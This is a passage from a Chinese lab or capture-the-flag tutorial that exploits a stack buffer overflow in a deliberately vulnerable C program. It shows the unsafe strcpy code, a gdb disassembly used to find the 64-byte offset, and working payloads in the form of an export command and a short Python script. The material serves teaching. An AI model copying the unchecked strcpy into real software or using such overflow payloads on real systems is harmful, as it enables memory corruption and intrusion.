if (variable == NULL)
{
printf("Please set the HEETIAN environment variable\n");
exit(1);
}
modified = 0;
strcpy(buffer, variable); // 调用strcpy进行字符串复制,可引发缓冲区溢出
if (modified == 0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a
{
printf("Congratulations, you pwned it.\n");
}
else
{
printf("Please try again, you got 0x%08X\n", modified);
}
return 0;
}
程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。
这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。
这只是c语言代码,我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,下面是对main函数中的汇编代码的解释(无关代码已经省略):
(gdb) disas main
Dump of assembler code for function main:
......
0x0804848d +9>: movl $0x80485d4,(%esp)
; 调用getenv获取环境变量HEETIAN的值
0x08048494 +16>: call 0x8048364 getenv@plt
; 将结果保存到variable变量,即[esp+0x5c]
0x08048499 +21>: mov %eax,0x5c(%esp)
; 判断返回结果是否为NULL
0x0804849d +25>: cmpl $0x0,0x5c(%esp)
0x080484a2 +30>: jne 0x80484bc main+56>
......
; 初始化modified变量的值为0,位于[esp+0x58]
0x080484bc +56>: movl $0x0,0x58(%esp)
; 调用strcpy对buffer进行填充,位于[esp+0x18]
0x080484c4 +64>: mov 0x5c(%esp),%eax
0x080484c8 +68>: mov %eax,0x4(%esp)
0x080484cc +72>: lea 0x18(%esp),%eax
0x080484d0 +76>: mov %eax,(%esp)
0x080484d3 +79>: call 0x8048384 strcpy@plt
; 判断modified变量的值是否为0x0d0a0d0a
0x080484d8 +84>: cmpl $0xd0a0d0a,0x58(%esp)
......
End of assembler dump.
通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18 = 0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。
我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗?
当然不是,之前说到了环境变量,需要构造环境变量然后再来输入。
因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。
要是感觉连续输入64个a比较麻烦,这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量,执行下面的语句:
export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行./pwn3就可以看到攻击效果了,如图所示:

接下来,我们来看通过python脚本动态修改环境变量。
在/home/test/3下存在一个pwn3.py的python脚本,执行cat pwn3.py可以看到源码:
import os
def pwn():
os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d")
os.system("./pwn3")
if name == "main":
pwn()
为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示:

pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。